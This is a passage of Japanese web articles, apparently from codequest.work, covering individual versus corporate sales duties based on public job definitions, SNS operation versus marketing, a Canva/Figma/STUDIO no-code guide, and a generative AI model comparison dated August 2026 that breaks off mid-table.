tag）の各職業詳細ページです（2026年8月2日取得）。表の「定義文が示す取引の相手」は、各ページの「どんな仕事？」に書かれている記述をもとにしています。 ここで大事なのは、公的な分類が商材別だからといって「個人か法人か」の区別が無意味なわけではないという点です。むしろ逆で、商材別に分かれた定義文を読み比べると、相手が個人か組織かで職務の中身が入れ替わっていることが繰り返し確認できます。職種を線引きするときに、肩書きではなく実際の職務内容で分ける発想は、制作側の職種でも同じです。近い例として制作スキルの有無で分けるディレクションとディレクターの違いがあります。 個人型で職務になっていること｜条件を説明しきる 個人型の営業でよく言われるのが「人の心を動かす仕事だ」という説明です。ところが公的な職業定義を読むと、そこに書かれているのは心の話ではなく、条件情報を漏れなく説明しきることでした。 住宅・不動産営業｜説明の範囲はローン・法律・税まで及ぶ job tag の「住宅・不動産営業」は、この職業の中核をこう定義しています。 住宅・土地の購入に際しては、買い物や通勤の利便性、住宅の間取り、日当たり、機能性など、様々な点が考慮されるので、営業は幅広い知識と確実な情報を提供し、コンサルタント的な役割を果たす。住宅の間取りや内装、防音材など機能的な面の細部に渡る説明を行うとともに、購入に際して必要となる金融（ローン）、法律、税金などの問題についても説明を行う。 出典：厚生労働省 職業情報提供サイト（job tag）「住宅・不動産営業」の「どんな仕事？」より（2026年8月2日取得）。 ここに並んでいるのは利便性・間取り・日当たり・機能性・ローン・法律・税金です。感情に訴える言葉づかいは1つも出てきません。同じページには、この職業に従事している人が答えたタスクごとの実施率と重要度も掲載されています。重要度は5点満点です。 タスク内容実施率重要度宅地建物取引士として、重要事項をお客に伝える78.3%3.9契約について、お客に説明する93.3%3.8不動産売買契約書を作成する88.3%3.8重要事項に係る内容を、現地や役所等で確認・調査する83.3%3.7お客からの不動産取引に関する質問に答える86.7%3.6お客の希望条件を聞き取って記録し、条件に合う物件を探す85.0%3.6 実施率がやや低い（78.3%）にもかかわらず重要度が最も高い3.9点なのが「宅地建物取引士として、重要事項をお客に伝える」です。資格を持つ人しか実施できないタスクなので実施率は下がりますが、重要度では他のどのタスクより上に来ています。個人型の営業で最後に効いているのは、雰囲気ではなく、法的に説明が義務づけられた条件情報を正確に渡せているかどうかだと読めます。 保険営業｜同じ「個人向け」でも生保と損保で決まり方が違う job tag の「保険営業（生命保険、損害保険）」は、冒頭で「ここでは、個人を対象とした保険営業について記載する」と対象を限定したうえで、生命保険と損害保険で購買の起点が違うと書いています。生命保険は「セールスを受けて契約する場合が多い」のに対し、自動車保険などは「自動車購入とセットで自分から加入するケースが多く、自動車のディーラーや整備工場など販売代理店で直接契約する比率が高い」とあります。 これは実務上かなり重要な差です。同じ「個人が契約者」でも、売り手から出向いて決まる商材と、買い手が別の買い物のついでに自分から決める商材があるということです。後者では、営業がどれだけ説明を尽くしても、そもそも接触の順番が違います。個人型と分類しただけで打ち手が決まるわけではなく、「相手がどの経路で来たか」まで見ないと施策は決まりません。 出典：厚生労働省 職業情報提供サイト（job tag）「保険営業（生命保険、損害保険）」（2026年8月2日取得）。 「心か数字か」で分ける必要はない 「個人営業は心、法人営業は数字」という対比は、片方が正しくてもう片方が間違っているという話ではなく、そもそも比較の軸が噛み合っていません。上で見たとおり、個人型の職務は条件情報の提供そのものです。感情への配慮が要らないという意味ではなく、感情は「条件を全部渡したうえで最後に働くもの」であって、条件説明の代わりにはならないということです。 実務でこの取り違えが起きると、症状は分かりやすく出ます。提案時の会話は盛り上がるのに、見積を出した翌週から連絡が返らなくなる。あとから理由を聞くと「ローンの条件が合わなかった」「あとから税金がかかると知った」といった、条件面の話が出てきます。つまり不足していたのは熱意ではなく情報です。 法人型で職務になっていること｜与信・編成・引渡し後 法人型の説明としてよく見かけるのが「現場担当者から管理職、経営層へと稟議が上がる」という多段の図です。しかし job tag の法人型3職業（商社営業・OA機器営業・コンサルティング営業（IT））の定義文には、買い手側が何段階で決裁するかという記述はありません。代わりに書かれているのは、売り手側の職務が3つ増えるという事実です。 与信｜相手が払えるかを調べるのが職務に入る job tag の「商社営業」は、契約の前段階に信用調査を置いています。 この際、取引先がきちんと商品や代金を準備できるか、経営に不安がないかといった信用状態を調査することも重要である。 これは心構えではなくタスクとして数値化されています。同ページのタスク一覧を見ると、実施率と重要度は次のとおりです。 タスク内容実施率重要度仕入先との取引条件について交渉する96.2%3.1取引先の信用調査をする94.3%3.0契約書を作成し、契約を結ぶ94.3%3.0債権保全措置をとる83.0%3.2在庫を管理する88.7%3.1 出典：厚生労働省 職業情報提供サイト（job tag）「商社営業」（2026年8月2日取得）。 注意が必要なのは、与信は法人型に固有ではないことです。個人型に分類した「自動車営業」にも「見込み客に関する信用情報を得る」というタスクがあり、実施率95.7%・重要度3.4と高い水準です。ローンを組む商材では、相手が個人でも支払い能力の確認が入ります。分けるべきなのは「与信があるかどうか」ではなく、与信が相手の会社に対して行われるのか、本人に対して行われるのかです。前者なら、決算書のように営業担当者が持ち出せない資料が判断材料になります。 編成｜売り手が1人で行かなくなる job tag の「コンサルティング営業（IT）」は、訪問の形そのものが変わると書いています。 システムエンジニアなどと顧客先を訪問し、顧客が抱える技術的課題を聞き、現実的な解決策を提案し、顧客から質問があれば、システムエンジニアとともにそれに答える。また、開発部門と一緒に提案書をまとめたり、納品後のアフターケアも担当する場合もある。 同ページにはさらに「規模の大きな案件では、複数のシステムエンジニアと共同で対応する。この場合、システムエンジニアは必要な専門分野の担当者が複数集められる」とあります。つまり法人型では、買い手側が何人いるかを数える前に、売り手側が何人で行くかが変わっているということです（2026年8月2日取得）。 ### [SNS運用とマーケティングの違い｜職務・KPI・販路で線引きする](https://codequest.work/web-marketing-vs-sns-operations/) SNS運用とマーケティングの違いは、担当する範囲の広さではなく、どのチャネルを使うか自体を決められるかどうかにあります。SNS運用は決まったチャネルの中で成果を最大化する仕事、マーケティングはそのチャネルの取捨選択と配分を決める仕事です。 この線引きは好みの問題ではありません。国が公開している職業定義、マーケティングの公式定義、計測ツールが実際に採用しているチャネル分類、市場統計、利用実態調査という一次資料だけを並べると、同じ境界が繰り返し現れます。この記事ではその境界を確認したうえで、あなた自身の販路に当てはめるところまで進みます。 到達点は「読んで納得すること」ではありません。自分（自社）の販路を1枚の表に棚卸しして、投下時間と受注の食い違いが最も大きいチャネルを1つ特定するところまでを目標にします。埋めるのに必要なのは直近3か月ぶんの数字だけです。 結論｜線引きは「チャネルを選ぶ権限があるか」 両者を分けているのは、担当業務の量でも肩書きでもなく、握っている意思決定の層です。SNS運用は「Instagramで何を、いつ、どう出すか」を決める仕事です。マーケティングは「そもそもInstagramに人と予算を置くべきか、置くなら全体の何割か」を決める仕事です。同じ「SNS」という言葉を使っていても、決めている対象が一段違います。 観点SNS運用マーケティング決める対象決まったチャネルの中で何をどう出すかどのチャネルを使い、どう配分するか主なKPIリーチ・エンゲージメント・フォロワー商談数・受注数・獲得単価成果が出ないとき問われること投稿の質・頻度・運用設計予算と人の配分そのもの判断に必要な材料チャネル内の指標チャネル横断の比較データ ここで強調しておきたいのは、これが上下関係ではないということです。チャネルの中で成果を出すのは独立した専門性で、配分を決める側がその実行をできるとは限りません。後述するとおり、SNSは今なお最も多くの人に届く接触面です。担当している意思決定の層が違うだけで、価値の大小の話ではありません。 職務を「何ができるか」ではなく「何を決められるか」で切り分ける考え方は、Web制作の現場でも同じ形で使われています。制作スキルの有無でディレクションとディレクターを分ける考え方は、この記事の線引きとまったく同じ構造です。呼び名ではなく決定権で切ると、職種の議論は具体的になります。 なお、この記事はあくまで「SNS運用との職務の違い」に絞って答えます。マーケティングという営みそのものが何であり、経営や営業とどう噛み合うのかという全体像は、本当のマーケティングとは何かの全体像にまとめてあります。 公的な定義で確かめる｜「マーケター」の職務にSNS運用は入っていない 国が公開している職業定義を見る 厚生労働省の職業情報提供サイト「job tag」で、職業別名に「マーケッター、マーケター」を持つ職業はマーケティング・リサーチャーです。職業分類は「企画・調査事務員」、属する産業は「学術研究、専門・技術サービス業」に置かれています。「どんな仕事？」の書き出しはこうです。 消費者の好みや関心、他社や業界全体の動き、広告の効果や販売戦略など、依頼主が必要としている様々な市場（マーケット）のデータや情報を収集、分析し、報告する。 同じページには「タスク（職業に含まれるこまかな仕事）」が実施率つきで掲載されています。上位に並ぶのは次の4つです（出典：厚生労働省 job tag「マーケティング・リサーチャー」／2026年8月2日取得）。 実施順タスク内容実施率1市場調査の発注者と打合わせをして必要なデータや情報の要望などを確認する80.5%2調査対象者や調査方法の選定をする87.8%3消費者からデータを収集する87.8%4収集したデータを分析し、解釈や結論を導き出す95.1% 4つとも「市場を調べて、分析して、報告する」に集中しており、SNSの投稿や運用は1つも含まれていません。労働条件のデータも同じ性格で、賃金（年収）は全国736.8万円、就業形態は「正規の職員、従業員」が80.4%（いずれも令和7年賃金構造基本統計調査等を加工した数値）。調査・分析を本務とする内勤職として整理されています。 ひとつ正確を期しておきます。これは「マーケター」を別名に持つ職業ひとつの公的な定義であって、世の中の求人票に並ぶ「Webマーケター」がすべてこの内容だという意味ではありません。ここで確認したいのは職務の中心がどこに置かれているかだけです。そして公的な定義における中心は、一貫して「市場を見て判断材料を作る」側にあります。 業界団体の定義を2つ並べる 公益社団法人 日本マーケティング協会は2024年1月25日に定義を改訂しました。原文はこうです。 （マーケティングとは）顧客や社会と共に価値を創造し、その価値を広く浸透させることによって、ステークホルダーとの関係性を醸成し、より豊かで持続可能な社会を実現するための構想でありプロセスである。 この定義には注が3つ付いており、注1は「主体は企業のみならず、個人や非営利組織等がなり得る」と明記しています。あとで触れる「マーケティングは大企業のもの」という誤解への直接の反証がここにあります。 もう一方、American Marketing Association（AMA）の定義は次のとおりです。 Marketing is the activity, set of institutions, and processes for creating, communicating, delivering, and exchanging offerings that have value for customers, clients, partners, and society at large. （マーケティングとは、顧客・クライアント・パートナー・社会全体にとって価値のある提供物を、創出し、伝達し、届け、交換するための活動であり、一連の制度であり、プロセスである。） なお、AMAのページには承認年の記載がありません。定義は「5名の現役研究者からなるパネルによって定期的に見直され、再承認または修正される」と説明されています。年号つきで引用している記事を見かけたら、原典を確認したほうが安全です。 出典発表・改訂定義の主語守備範囲日本マーケティング協会2024年1月25日改訂企業に限らない（注1）価値の共創と浸透、関係性の醸成American Marketing Association承認年の記載なし（定期的に再承認・修正）activity, set of institutions, and processes創出・伝達・提供・交換厚労省 job tag—個人（職業として）市場データの収集・分析・報告 3つの定義のどれも、特定のチャネルの運用を職務の中心に置いていません。共通しているのは「市場を見て、価値の届け方を決める」という層に軸足があることです。SNSはその届け方の候補のひとつとして初めて登場します。 出典：厚生労働省 job tag「マーケティング・リサーチャー」／公益社団法人 日本マーケティング協会 協会案内／American Marketing Association "Definitions of Marketing"（いずれも2026年8月2日取得） チャネルは何種類あるのか｜SNSはそのうちの2つ 「チャネルを選ぶ」と言うとき、選択肢が何個あるのかを具体的に持っていなければ選びようがありません。実務で使える一覧として最も手近なのが、Googleアナリティクス（GA4）のデフォルトチャネルグループです。計測ツールが実際に使っている分類なので、机上の分類ではなく数字が紐づきます。 ここで先に断っておくことがあります。2026年8月2日に確認したところ、同じヘルプページでも英語版は19チャネル、日本語版は18チャネルで一致していません。英語版にだけ「AI Assistants」があり、日本語版には未反映です。以下は英語版を正として19で数えます。日本語版だけを見ている人と数が食い違うのは、翻訳の反映待ちが理由です。 チャネル（広告出稿を伴わない）日本語表記主な流入元DirectノーリファラーURL直接入力・ブックマークOrganic Searchオーガニック検索Google・Bing等の自然検索Organic Socialオーガニック ソーシャルSNSの広告以外のリンクOrganic Shoppingオーガニック ショッピングショッピングサイトの自然枠Organic Videoオーガニック動画YouTube・TikTok・Vimeo等Referral参照ブログ・ニュースサイト等のリンクEmailメールメール配信SMSSMSテキストメッセージMobile Push Notificationsモバイルのプッシュ通知アプリのプッシュ通知AI Assistants（日本語版に未反映）ChatGPT・Gemini等 チャネル（広告・提携を伴う）日本語表記主な流入元Paid Search有料検索検索連動型広告Paid Social有料ソーシャルSNS広告Paid Shopping有料ショッピングショッピング広告Paid Video有料動画動画サイトの広告Displayディスプレイバナー等のディスプレイ広告Affiliatesアフィリエイト提携サイトのリンクAudioオーディオ音声広告Cross-networkクロスネットワーク複数ネットワークにまたがる広告Paid Otherその他（有料）上記以外の有料流入 この19のうち、SNSとして分類されるのは Organic Social と Paid Social の2つだけです。Organic Social の定義は「ユーザーが Facebook や Twitter などのソーシャル サイトの広告以外のリンクからサイト / アプリにアクセスする際のチャネル」。注意したいのは、YouTube・TikTok・Vimeo からの流入が Organic Video / Paid Video という別チャネルに置かれていることです。実務では「SNS運用」に一括りにされがちですが、計測上は最初から別の行になっています。 各チャネルの成果を横に並べるには、CPC・CTR・CVR・CPAといった指標の定義が揃っている必要があります。言葉の意味があいまいなまま比較すると、比べているつもりで比べられていないという事故が起きます。指標名の意味はCPC・CTR・CVなど基本用語の解説で確認しておいてください。 チャネルの一覧は固定ではなく、増え続けている 英語版にだけ載っている AI Assistants の定義は次のとおりです。 AI Assistants is the channel by which users arrive at your site from sources like ChatGPT, Gemini, Deepseek, Copilot, or Grok. It excludes Google's AI Overviews and AI Mode. （AI Assistants は、ChatGPT・Gemini・Deepseek・Copilot・Grok といった提供元からユーザーがサイトに到達するチャネルである。GoogleのAI Overviews および AIモードは含まない。） この行は数年前には存在しませんでした。つまりチャネルの選択肢は固定された一覧ではなく、増え続ける対象です。「どのチャネルを使うか」を決める仕事に終わりが来ないのはこのためです。SNS運用の担当範囲は仕様が変わっても2行のままですが、配分を決める側は行が増えるたびに判断をやり直すことになります。 ### [Canva・Figma・STUDIOの使い分け完全ガイド｜ノーコードでLP公開＆アニメーション設計まで](https://codequest.work/canva-figma-studio-guide/) 「WebサイトやLPを作りたいけど、プログラミングはハードルが高い…」そんなときに役立つのがノーコードツールです。特にCanva・Figma・STUDIOは初心者からフリーランス志望者まで幅広く使われており、「それぞれの違いがわからない」「どれを選べばいいの？」という声をよく耳にします。 この記事では、3つのツールの特徴と役割を整理しながら、どのように使い分ければ効果的かを解説します。さらに、STUDIOで活用できるアニメーション設計の考え方や、フリーランスを目指す人にとっての活用法についても触れていきます。 Canva｜素材作成とアイデア出しに最適 まず最初に触れておきたいのがCanvaです。Canvaとは、ブラウザ上で誰でも直感的にデザインを作れるグラフィックデザインツールです。豊富なテンプレートを選んで編集するだけで、プロ並みのビジュアルが完成します。 直感的な操作で誰でもデザインを作れる 豊富なテンプレート・写真・アイコンが揃っている ソーシャルメディア投稿やプレゼン資料も簡単に作成可能 Canvaの使いどころ LP用のアイキャッチ画像 配色やフォントの組み合わせを試す 写真・イラスト素材の調達 つまり、Canvaは「ビジュアル素材の準備」に強く、初心者がデザインの第一歩を踏み出すのに最適です。 関連ツール: Canvaで使うカラーパレットは 画像から自動生成できる無料ツール も活用できます。 Figma｜構造設計とUIデザインに強い Figmaとは、ブラウザ上で動作するUI/UXデザインツールです。インストール不要でチームメンバーとリアルタイム共同編集ができるのが最大の特長で、WebデザインやアプリのUI設計で世界的に最も使われているデザインツールの1つです。無料プランでも基本的な機能は十分に使えます。 実際に手を動かして覚えるなら、Figma模写 #2（建築系ポートフォリオ）で、余白と画像比率を再現する課題に取り組めます。 以前Adobe XDで作ったファイルが手元に残っている場合は、Adobe XDの現在地とXD資産の移行判断で、Figmaへ移すか据え置くかを先に決めておくと選定がぶれません。 ブラウザ上で動作し、共同編集が可能 コンポーネント化やレスポンシブ設計など、本格的なUI設計が可能 デザイナーとエンジニアの橋渡しツールとして定着 Figmaの使いどころ LPやWebサイトのワイヤーフレーム作成 配置・レイアウトを整理して見やすい構造にする デザイン段階でのレビューやフィードバック Figmaを挟むことで、「ただの見た目」から「ユーザー体験を意識した設計」へとレベルアップできます。 関連記事: Figmaの操作に慣れたら 模写コーディング31記事 でレイアウト力を伸ばすのがおすすめです。 実装フェーズに進む方へ: Figmaで作ったデザインをそのままコードにしたい場合は、FigmaとClaude Codeを連携する方法で、公式MCPサーバーを使った自動コード化の手順を解説しています。 STUDIO｜ノーコードで即Web公開 最後はSTUDIO。これは「ノーコードでWebサイトを公開できる国産サービス」です。 ドラッグ＆ドロップでページ構築が可能 サーバー・ドメイン不要で公開できる アニメーションやレスポンシブ対応も直感的に設定可能 STUDIOの使いどころ 実際のLPやポートフォリオを公開 クライアントへの提案資料として見せる SNSや広告からのリンク先として活用 Figmaで作ったデザインをベースに、STUDIOでそのまま「Webサイト」として公開できるのが最大の魅力です。 関連記事: WordPressやHTMLでLPを作る選択肢を知りたい方は、コンタクトフォームの実装方法 で他CMSとの比較も参考にできます。 Canva vs Figma｜2つのデザインツールの違い CanvaとFigmaはどちらもブラウザで使えるデザインツールですが、得意な領域が異なります。Canvaは「素材を組み合わせて素早くビジュアルを作る」ことに特化し、Figmaは「ピクセル単位の精密なUI設計」に強みがあります。 比較項目CanvaFigma主な用途バナー・SNS画像・プレゼンWebサイトUI・アプリ画面設計操作性テンプレート選択→編集白紙からデザイン構築学習コスト低い（直感的操作）中程度（デザインの知識が活きる）コーディング連携なしCSS値のエクスポート対応チーム共同編集ありあり（リアルタイム）料金無料プランあり（Pro: 月1,500円）無料プランあり（Pro: 月1,800円） 結論として、デザイン初心者やマーケティング用途ならCanva、Web制作やUI設計を仕事にするならFigmaがおすすめです。両方を使い分けることで、素材作成からUI設計まで効率的にカバーできます。 STUDIOで差がつくアニメーション設計の考え方 STUDIOではアニメーションを直感的に設定できますが、ただ動きをつけるだけでは効果的なLPにはなりません。重要なのは、「なぜその動きが必要か」を理解したうえで設計することです。 モーション設計の基本原則 Webアニメーションは「ホバー」「スクロール」「トランジション」「フェード」など、目的や発火タイミングごとに分類できます。それぞれの動きには意図があり、ユーザーの視線誘導や操作フィードバックなど、UXを高める役割を担っています。 たとえば「要素の出現」では、フェード＋スライドなど複合的な動きのパターンがあります。動きの速度・間・遅延の取り方によって「心地よい動き」と「意味のある動き」の印象は大きく変わるため、UXを損なわない動きの範囲感を意識することが大切です。 アニメーション設計力を高める学習法 アニメーション設計力を養うには、以下のプロセスが効果的です。 動きの目的を考える ── なぜそのタイミングで動いているのか？ 構造を観察する ── どの要素が基点で、どこに遅延があるのか？ 自分のサイトで応用する ── ブランドの世界観やトーンに合わせて動きを調整する モーション事例を体系的に学べるリソースとして、STUDIO.motionが参考になります。「ホバー」「スクロール」「トランジション」など目的別に整理された事例から、コードや構成を想像しやすい現実的な範囲の動きを学ぶことができます。 作り始める前の参考集めについては、Webデザインの参考サイトの探し方で、探せる単位ごとの使い分けと、集めた参考をワイヤーに落とすまでの手順を扱っています。 3つのツールの使い分けフロー ここまでをまとめると、効果的な流れは次のとおりです。 Canva：素材作り（写真・配色・アイコン） Figma：構造設計（ワイヤーフレーム・UIデザイン） STUDIO：ノーコード公開（レスポンシブ対応・アニメーション設計） つまり、Canva＝素材、Figma＝設計、STUDIO＝公開＋演出。この役割分担を理解して使えば、初心者でもゼロからLP公開までたどり着けます。 ノーコードのメリットとデメリット ノーコードにも強みと制約があります。 メリットデメリットコーディング不要で短期間に完成機能に限界（複雑なECや予約システムは難しい）初心者でも公開体験ができるカスタマイズ性が低い修正や改善が即反映できる本格的な案件では「ノーコードだけ」では対応が厳しい ノーコードはスピード重視で作品を作る入口としては最適ですが、長期的にフリーランスとして活動するには＋αのスキル（HTML/CSS、SEO、運用改善など）が求められます。 フリーランスを目指す人への活用法 「ノーコード＝お遊びで終わる」と思われがちですが、実際はフリーランスへの入口にもなります。 個人サロンや小規模ビジネスのLP制作 セミナーやイベントページの立ち上げ 副業起業家の自己紹介サイト こうした案件は「スピード・低価格」が重視されるため、ノーコードの需要があります。ただし、継続的にフリーランスとして収益を得るなら、デザイン力＋マーケティング＋コードスキルを掛け合わせていくのが現実的です。 「未経験からフリーランス案件としてLP制作を体験してみたい」という方には、MENTAでCanva＋Figma＋STUDIOの伴走プランを提供しています。1ヶ月でゼロからLP公開まで進められるため、最初の実績作りに最適です。 1ヶ月でLP公開まで体験する よくある質問 Q. CanvaだけでLPを作れますか？ CanvaだけでもLP風のデザインを作ることは可能ですが、Webサイトとして公開するには不向きです。LPを公開するならSTUDIOを使うのがおすすめです。 Q. FigmaとSTUDIOはどう違うのですか？ Figmaは設計・デザイン用ツール、STUDIOは公開用ツールです。Figmaでページ構成やUIを整えてから、STUDIOに反映して公開する流れが一般的です。 Q. STUDIOは無料で使えますか？ 無料プランもありますが、独自ドメイン利用や高度な機能は有料プランが必要です。ポートフォリオやLP公開を目的とするなら、有料プランを検討すると良いでしょう。 Q. CanvaとFigmaの違いは何ですか？ Canvaはテンプレートベースで素材やバナーを素早く作るのに向いており、Figmaはピクセル単位の精密なUI設計に強みがあります。デザイン初心者ならCanva、Web制作を仕事にするならFigmaがおすすめです。 Q. STUDIOのアニメーションはどう設計すればいいですか？ まず「なぜ動かすか」を考え、ユーザーの視線誘導や操作フィードバックなど目的を明確にしましょう。STUDIO.motionなどの事例サイトで動きのパターンを学び、速度・遅延・緩急を意識して設計するのがおすすめです。 Q. ノーコードだけでフリーランスになれますか？ 短期的に案件を受けることは可能ですが、できることが限られるため＋αのスキル（デザイン、SEO、簡単なコーディング）を組み合わせるのがおすすめです。 Q. どのツールから学ぶのが良いですか？ 順番としてはCanva → Figma → STUDIOが自然です。Canvaで素材を整え、Figmaでレイアウトを設計し、STUDIOで公開して実際に動かす流れがおすすめです。 まとめ Canva＝素材、Figma＝設計、STUDIO＝公開＋演出、と役割を分けて使えば効率的 ノーコードは初心者でも「ゼロからLP公開」が可能 STUDIOでのアニメーション設計は「動きの意図」を理解することが重要 デメリットはあるが、フリーランスの入口としては有効 本格的に活動するなら、コードやSEOなど＋αスキルを磨くのがおすすめ まずはCanva・Figma・STUDIOを組み合わせて1本LPを公開してみましょう。アニメーション設計の原則も取り入れれば、完成度の高いLPに仕上がります。 本格的にデザインを学ぶなら Photoshop・Illustratorなどプロ向けのデザインツールを本格的に学びたい方には、Adobe公式が運営する無料スクールがおすすめです。期間限定で受講できる本格カリキュラムについて、こちらの記事で詳しく解説しています。 Adobe公式の無料スクールを詳しく読む 次のステップに進みたい方へ 静止画とWebの表現でひととおり作れるようになると、次に増えるのが「動かしたい」という依頼です。映像側へ踏み出すなら、After Effectsが自分のPCで実用的に動くかを先に判定する手順にまとめています。必要スペックと料金を確かめてから始めるほうが、体験版の7日間を無駄にしません。 この記事を読んで「実際にLPを作ってみたい！」と思った方には、MENTAで提供しているCanva＋Figma＋STUDIO伴走プランがおすすめです。 ### [主要生成AIを完全比較！テキスト・画像・動画・音楽の使い分けガイド【2026年版】](https://codequest.work/ai-usage-strategy-2025/) 生成AIの使い分けは、「テキスト・画像・動画・音楽の4分野に分け、分野ごとに常用を1つ決めて固定する」のが基本です。万能な1つを探すのではなく、用途ごとに担当を割り当てます。 ただし、この分野で最も事故が多いのは「どれを選ぶか」ではなく「参考にした比較表が古い」ことです。生成AIはモデルの世代交代が数か月単位で起き、名前ごと消えるものもあります。実際、少し前まで定番だったモデルの一部は、提供元が公式に提供終了の日付を告知しています。古い比較表を信じて選ぶと、そもそも存在しないモデルを前提に検討することになります。 本記事は2026年8月時点の各社公式情報にもとづきます。各比較表の行には提供元の公式ページへの出典リンクを付け、公式で確認できなかった料金や条件は「未確認」と明記しました。読んでいる時点が公開から離れている場合は、必ず出典リンク先で現況を確認してください。この記事も含め、比較記事の記述を根拠に商用利用を判断しないのが大原則です。 まず押さえる：名前が変わった生成AIと、提供が終わった生成AI 比較表を読む前に、まず「もう無いもの」を片付けます。ここに挙げたモデル名は今も多くの記事や社内資料に残っていますが、提供元が公式に世代交代または提供終了を告知しています。移行先まで公式が名指ししているため、置き換え先の判断に迷う必要はありません。 対照表：古い名前と、公式が案内する現在の移行先 よく見かける名前2026年8月時点の扱い提供元が案内する移行先出典GPT-4o（gpt-4o-2024-05-13）非推奨。APIからの停止日は2026年10月23日と告知済みgpt-5.6-solOpenAI 公式 DeprecationsGPT-5（gpt-5-2025-08-07）非推奨。停止日は2026年12月11日と告知済みgpt-5.6-solOpenAI 公式 DeprecationsDALL·E 3（dall-e-3）2026年5月12日にAPIから停止済みgpt-image-2 / gpt-image-1 / gpt-image-1-miniOpenAI 公式 Deprecationsgpt-image-1非推奨。停止日は2026年10月23日と告知済みgpt-image-2OpenAI 公式 DeprecationsClaude 32世代以上前の世代Claude Sonnet 5 / Opus 5 / Fable 5Anthropic 公式 Models overviewLlama 3旧世代Llama 4 Scout / MaverickMeta 公式ブログRunway Gen-32世代前Runway Gen-4.5Runway 公式リサーチ 上の表と、以降のすべての比較表は2026年8月1日に各出典ページを直接確認した内容です。「非推奨」は公式が停止日を予告した状態、「停止済み」はその日を過ぎた状態を指します。 古い比較表をそのまま使うと何が起きるか モデル名が古いだけなら実害は小さそうに見えますが、実際には次の3つが同時に起こります。 選定そのものが空振りする。指定したモデル名が提供元の一覧に無く、検討のやり直しになる。 性能の前提が崩れる。世代が変われば得意分野も価格も変わるため、旧世代を基準にした「この用途にはこれ」という結論は再検証が必要になる。 商用利用の条件がずれる。ライセンスや利用規約はモデル単位・プラン単位で改定されるため、旧モデル前提の可否判断はそのまま持ち越せない。 だからこそ、比較表は「結論」ではなく「公式ページへの入口」として使うのが正しい読み方です。以下の各表では、行ごとに提供元の一次ページへリンクしています。 テキスト生成AI 最も利用者が多いのが、文章やコードを生成するテキスト系AIです。一口にテキスト生成といっても、検索に接続して裏取りをするタイプ、長文をまとめて読ませるタイプ、自前サーバーで動かせるタイプと性格が大きく異なります。 主要モデル比較（2026年8月時点） モデル／サービス開発元2026年8月時点の状況と得意分野料金・無料枠出典GPT-5.6系（gpt-5.6-sol / terra / luna）OpenAIAPIの現行世代。公式の非推奨一覧では、旧GPT-5・GPT-4o・o系スナップショットの移行先がいずれもGPT-5.6系として案内されている。長文の論理構成やコード生成に使われる。公式の料金ページで要確認（本記事では未確認）OpenAI 公式Gemini 3.6 FlashGoogleGemini APIのモデル一覧で「Stable」かつ「最新モデル」として掲載。速度と知性のバランス型で、エージェント的なタスクとマルチモーダルに強い。上位のGemini 3.1 ProはPreview扱い。画像（Nano Banana系）・動画（Veo）・音楽（Lyria）が同じAPIから使える点が特徴。公式の料金ページで要確認（本記事では未確認）Google 公式 Gemini API ModelsClaude Sonnet 5 / Opus 5 / Fable 5Anthropic公式は「複雑なエージェント的コーディングや業務用途はOpus 5から」「最高性能が必要ならFable 5」と案内。Sonnet 5は2026年6月30日公開で、エージェント性能を上げつつOpus級に近づけた位置づけ。長文読解・要約や安全性重視の設計は現行世代でも継続。公式の料金ページで要確認（本記事では未確認）Anthropic 公式 Models overview ／ Sonnet 5 発表Perplexity（Sonar系）Perplexity検索特化。APIラインアップはSonar / Sonar Pro / Sonar Reasoning Pro / Sonar Deep Research。出典付きで答えるため情報の裏取りがしやすい。公式の料金ページで要確認（本記事では未確認）Perplexity 公式ドキュメントMistral Large 3 / Medium 3.5 / Small 4Mistral AILarge 3（v25.12）とSmall 4（v26.03）はApache 2.0のオープンウェイト、Medium 3.5（v26.04）はModified MIT。軽量・高速でカスタマイズ運用がしやすい。オープンウェイト版を自前実行する場合の費用は自分のインフラ費用のみ。ホスティング利用の金額は公式で要確認Mistral 公式 Models OverviewLlama 4 Scout / MaverickMeta2025年4月5日公開のネイティブ・マルチモーダル世代。Scoutは1,000万トークンのコンテキスト長を掲げ、単一のNVIDIA H100に収まる設計。研究用途や自前運用の定番。オープンウェイト。利用条件はMetaのライセンスを公式で要確認Meta 公式ブログGrok 4.5系SpaceXAI（旧xAI）開発元の表記が変わっている点に注意。公式APIドキュメントのタイトルは「SpaceXAI Docs」で、最新としてGrok 4.5を掲示。X（旧Twitter）連携やWeb検索・X検索ツールに加え、画像生成・動画生成・音声まで同じAPIに揃っている。公式の料金ページで要確認（本記事では未確認）SpaceXAI 公式ドキュメント リサーチ・長文処理・自前運用で選び方が分かれる テキスト系は「どれが賢いか」で選ぶと決着がつきません。出力の正しさを何で担保するかで分けると、ほぼ3つに収束します。 検索で担保する（事実・最新情報が要る）：PerplexityのSonar系、Web検索ツールを有効にしたGeminiやGrok。出典URLが返るため裏取りの工数が下がる。 入力で担保する（手元の長い資料を読ませる）：Claude系やGemini系の長コンテキスト。契約書・議事録・仕様書のように、答えが手元の文書の中にあるタスク向け。 環境で担保する（社外に出せないデータを扱う）：Mistralの Apache 2.0 モデルやLlama 4のようなオープンウェイト。自前のインフラで完結させられる。 3つ目の「環境で担保する」選択肢は、費用構造と運用負荷がクラウドAPIと根本的に違います。どちらを選ぶかの判断材料はローカルLLMとクラウドAPIの比較で整理しています。 また、テキスト生成AIをサイト運営やコーディングの現場に組み込む具体的な使いどころはLLMのWebサイト活用パターンに、指示の書き方そのものはAIコーディングのプロンプト基礎にまとめています。モデル選びで悩む前に、指示文の型を直すほうが効果が大きい場面は少なくありません。 画像生成AI プロンプトからアートやデザインを生成する画像系は、4分野のなかで最も入れ替わりが激しい領域です。定番として名前が挙がり続けているDALL·E 3はすでにAPIから停止済みで、後継への読み替えが必要になっています。 主要モデル比較（2026年8月時点） モデル／サービス開発元2026年8月時点の状況と得意分野料金・無料枠出典Midjourney V8.2Midjourney公式の更新履歴に2026年7月24日付で「Version 8.2」が掲載されている。芸術性の高いビジュアルに強く、広告・デザイン用途で使われる。公式の料金ページで要確認（本記事では未確認）Midjourney 公式更新履歴Stable Diffusion 3.5Stability AI公式の画像モデルページで「最も強力な画像モデル」として掲載されているのはSD 3.5。ローカル実行と自前カスタマイズができる点が最大の強み。「SD4」を名乗る情報が出回っているが、2026年8月時点で公式ページ上に記載は確認できなかった。セルフホスト用ライセンスとPlatform APIの2系統。金額は公式で要確認（本記事では未確認）Stability AI 公式 Image ModelsGPT Image 2（gpt-image-2）OpenAIDALL·E 